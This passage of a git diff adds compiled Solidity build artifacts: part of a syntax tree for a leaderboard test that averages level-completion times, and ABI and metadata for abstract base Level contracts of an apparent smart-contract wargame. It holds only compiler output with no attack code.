(uint256)"}},"id":65452,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3225:63:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3209:79:151"},{"assignments":[65455],"declarations":[{"constant":false,"id":65455,"mutability":"mutable","name":"time3","nameLocation":"3306:5:151","nodeType":"VariableDeclaration","scope":65481,"src":"3298:13:151","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":65454,"name":"uint256","nodeType":"ElementaryTypeName","src":"3298:7:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":65461,"initialValue":{"arguments":[{"id":65458,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"3355:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65459,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65146,"src":"3361:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65456,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"3314:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65457,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3320:34:151","memberName":"getTimeElapsedForCompletionOfLevel","nodeType":"MemberAccess","referencedDeclaration":56182,"src":"3314:40:151","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_uint256_$","typeString":"function (address,address) view external returns (uint256)"}},"id":65460,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3314:63:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3298:79:151"},{"assignments":[65463],"declarations":[{"constant":false,"id":65463,"mutability":"mutable","name":"average","nameLocation":"3396:7:151","nodeType":"VariableDeclaration","scope":65481,"src":"3388:15:151","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":65462,"name":"uint256","nodeType":"ElementaryTypeName","src":"3388:7:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":65468,"initialValue":{"arguments":[{"id":65466,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"3448:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65464,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"3406:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65465,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3412:35:151","memberName":"getAverageTimeTakenToCompleteLevels","nodeType":"MemberAccess","referencedDeclaration":56444,"src":"3406:41:151","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":65467,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3406:47:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3388:65:151"},{"expression":{"arguments":[{"id":65470,"name":"average","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65463,"src":"3472:7:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":65478,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":65475,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":65473,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":65471,"name":"time1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65439,"src":"3482:5:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":65472,"name":"time2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65447,"src":"3490:5:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3482:13:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":65474,"name":"time3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65455,"src":"3498:5:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3482:21:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":65476,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3481:23:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"hexValue":"33","id":65477,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3507:1:151","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"src":"3481:27:151","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":65469,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"3463:8:151","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65479,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3463:46:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65480,"nodeType":"ExpressionStatement","src":"3463:46:151"}]},"documentation":{"id":65435,"nodeType":"StructuredDocumentation","src":"2993:70:151","text":"@notice Tests calculation of average time taken to complete level."},"functionSelector":"94371d57","implemented":true,"kind":"function","modifiers":[],"name":"testGetAverageTimeTaken","nameLocation":"3077:23:151","parameters":{"id":65436,"nodeType":"ParameterList","parameters":[],"src":"3100:2:151"},"returnParameters":{"id":65437,"nodeType":"ParameterList","parameters":[],"src":"3110:0:151"},"scope":65483,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":65129,"name":"Test","nameLocations":["215:4:151"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"215:4:151"},"id":65130,"nodeType":"InheritanceSpecifier","src":"215:4:151"}],"canonicalName":"TestLeaderboard","contractDependencies":[56450,66673],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[65483,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestLeaderboard","nameLocation":"196:15:151","scope":65484,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":151} \ No newline at end of file diff --git a/contracts/out/Level-05.sol/Level.json b/contracts/out/Level-05.sol/Level.json new file mode 100644 index 000000000..60e4cd74e --- /dev/null +++ b/contracts/out/Level-05.sol/Level.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"isOwner","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","isOwner()":"8f32d59b","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.5.17+commit.d19bba13\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"payable\":true,\"stateMutability\":\"payable\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"isOwner\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"methods\":{\"isOwner()\":{\"details\":\"Returns true if the caller is the current owner.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. * > Note: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}}},\"userdoc\":{\"methods\":{}}},\"settings\":{\"compilationTarget\":{\"src/levels/base/Level-05.sol\":\"Level\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/helpers/Ownable-05.sol\":{\"keccak256\":\"0x70a86a5745daee7aee825ad9ee00b36c8dd437226fbd2f76540ef611976d54f0\",\"urls\":[\"bzz-raw://90abb912644e375f627ab63ae9ec91ab1779b0b5f87ac17f308da44da99a5249\",\"dweb:/ipfs/QmURy3o3pbax3uiJiLA4mcxYwH2mYSWH23hHCThbnAV3Ci\"]},\"src/levels/base/Level-05.sol\":{\"keccak256\":\"0x509caafeba6fc39eb2d415eff577d94418970bd802210f46563ea51e223747fd\",\"urls\":[\"bzz-raw://10e49a55a09ff7dc72e3c201c6d4c769ebbc4a2b4656b59a8e881255e28e6e6d\",\"dweb:/ipfs/QmT7wFXTT9Zfubw2h11BfmkcaXcyiRvJzVQBboYb8y1EeM\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.5.17+commit.d19bba13"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"methods":{"isOwner()":{"details":"Returns true if the caller is the current owner."},"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. * > Note: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}}},"userdoc":{"methods":{}}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"compilationTarget":{"src/levels/base/Level-05.sol":"Level"},"evmVersion":"istanbul","libraries":{}},"sources":{"src/helpers/Ownable-05.sol":{"keccak256":"0x70a86a5745daee7aee825ad9ee00b36c8dd437226fbd2f76540ef611976d54f0","urls":["bzz-raw://90abb912644e375f627ab63ae9ec91ab1779b0b5f87ac17f308da44da99a5249","dweb:/ipfs/QmURy3o3pbax3uiJiLA4mcxYwH2mYSWH23hHCThbnAV3Ci"],"license":null},"src/levels/base/Level-05.sol":{"keccak256":"0x509caafeba6fc39eb2d415eff577d94418970bd802210f46563ea51e223747fd","urls":["bzz-raw://10e49a55a09ff7dc72e3c201c6d4c769ebbc4a2b4656b59a8e881255e28e6e6d","dweb:/ipfs/QmT7wFXTT9Zfubw2h11BfmkcaXcyiRvJzVQBboYb8y1EeM"],"license":null}},"version":1},"ast":{"absolutePath":"src/levels/base/Level-05.sol","id":307,"exportedSymbols":{"Level":[306]},"nodeType":"SourceUnit","src":"32:271:4","nodes":[{"id":286,"nodeType":"PragmaDirective","src":"32:23:4","nodes":[],"literals":["solidity","^","0.5",".0"]},{"id":287,"nodeType":"ImportDirective","src":"57:38:4","nodes":[],"absolutePath":"src/helpers/Ownable-05.sol","file":"../../helpers/Ownable-05.sol","scope":307,"sourceUnit":172,"symbolAliases":[],"unitAlias":""},{"id":306,"nodeType":"ContractDefinition","src":"97:205:4","nodes":[{"id":296,"nodeType":"FunctionDefinition","src":"129:74:4","nodes":[],"documentation":null,"implemented":false,"kind":"function","modifiers":[],"name":"createInstance","parameters":{"id":292,"nodeType":"ParameterList","parameters":[{"constant":false,"id":291,"name":"_player","nodeType":"VariableDeclaration","scope":296,"src":"153:15:4","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":290,"name":"address","nodeType":"ElementaryTypeName","src":"153:7:4","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"152:17:4"},"returnParameters":{"id":295,"nodeType":"ParameterList","parameters":[{"constant":false,"id":294,"name":"","nodeType":"VariableDeclaration","scope":296,"src":"194:7:4","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":293,"name":"address","nodeType":"ElementaryTypeName","src":"194:7:4","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"193:9:4"},"scope":306,"stateMutability":"payable","superFunction":null,"visibility":"public"},{"id":305,"nodeType":"FunctionDefinition","src":"208:92:4","nodes":[],"documentation":null,"implemented":false,"kind":"function","modifiers":[],"name":"validateInstance","parameters":{"id":301,"nodeType":"ParameterList","parameters":[{"constant":false,"id":298,"name":"_instance","nodeType":"VariableDeclaration","scope":305,"src":"234:25:4","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":297,"name":"address","nodeType":"ElementaryTypeName","src":"234:15:4","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"internal"},{"constant":false,"id":300,"name":"_player","nodeType":"VariableDeclaration","scope":305,"src":"261:15:4","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":299,"name":"address","nodeType":"ElementaryTypeName","src":"261:7:4","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"233:44:4"},"returnParameters":{"id":304,"nodeType":"ParameterList","parameters":[{"constant":false,"id":303,"name":"","nodeType":"VariableDeclaration","scope":305,"src":"294:4:4","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":302,"name":"bool","nodeType":"ElementaryTypeName","src":"294:4:4","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"293:6:4"},"scope":306,"stateMutability":"nonpayable","superFunction":null,"visibility":"public"}],"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":288,"name":"Ownable","nodeType":"UserDefinedTypeName","referencedDeclaration":171,"src":"115:7:4","typeDescriptions":{"typeIdentifier":"t_contract$_Ownable_$171","typeString":"contract Ownable"}},"id":289,"nodeType":"InheritanceSpecifier","src":"115:7:4"}],"contractDependencies":[171],"contractKind":"contract","documentation":null,"fullyImplemented":false,"linearizedBaseContracts":[306,171],"name":"Level","scope":307}]},"id":4} \ No newline at end of file diff --git a/contracts/out/Level-06.sol/Level.json b/contracts/out/Level-06.sol/Level.json new file mode 100644 index 000000000..3acb04707 --- /dev/null +++ b/contracts/out/Level-06.sol/Level.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/base/Level-06.sol\":\"Level\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol\":{\"keccak256\":\"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2\",\"dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb\"]},\"lib/openzeppelin-contracts-06/contracts/utils/Context.sol\":{\"keccak256\":\"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f\",\"dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96\"]},\"src/levels/base/Level-06.sol\":{\"keccak256\":\"0x5f361ed66f99e554235b246964ec190b7605946d4bdda9d1e781e195cd7d4042\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://dd61d1b56e74f01def821077298e041264471599a5f4fe36cc1c32ee5e21b79f\",\"dweb:/ipfs/QmSTF94B2Kxro444irxu9Z5Hw518AZ98QiTmVG9j6W8s4Z\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/base/Level-06.sol":"Level"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol":{"keccak256":"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d","urls":["bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2","dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/utils/Context.sol":{"keccak256":"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0","urls":["bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f","dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96"],"license":"MIT"},"src/levels/base/Level-06.sol":{"keccak256":"0x5f361ed66f99e554235b246964ec190b7605946d4bdda9d1e781e195cd7d4042","urls":["bzz-raw://dd61d1b56e74f01def821077298e041264471599a5f4fe36cc1c32ee5e21b79f","dweb:/ipfs/QmSTF94B2Kxro444irxu9Z5Hw518AZ98QiTmVG9j6W8s4Z"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/base/Level-06.sol","id":1741,"exportedSymbols":{"Level":[1740]},"nodeType":"SourceUn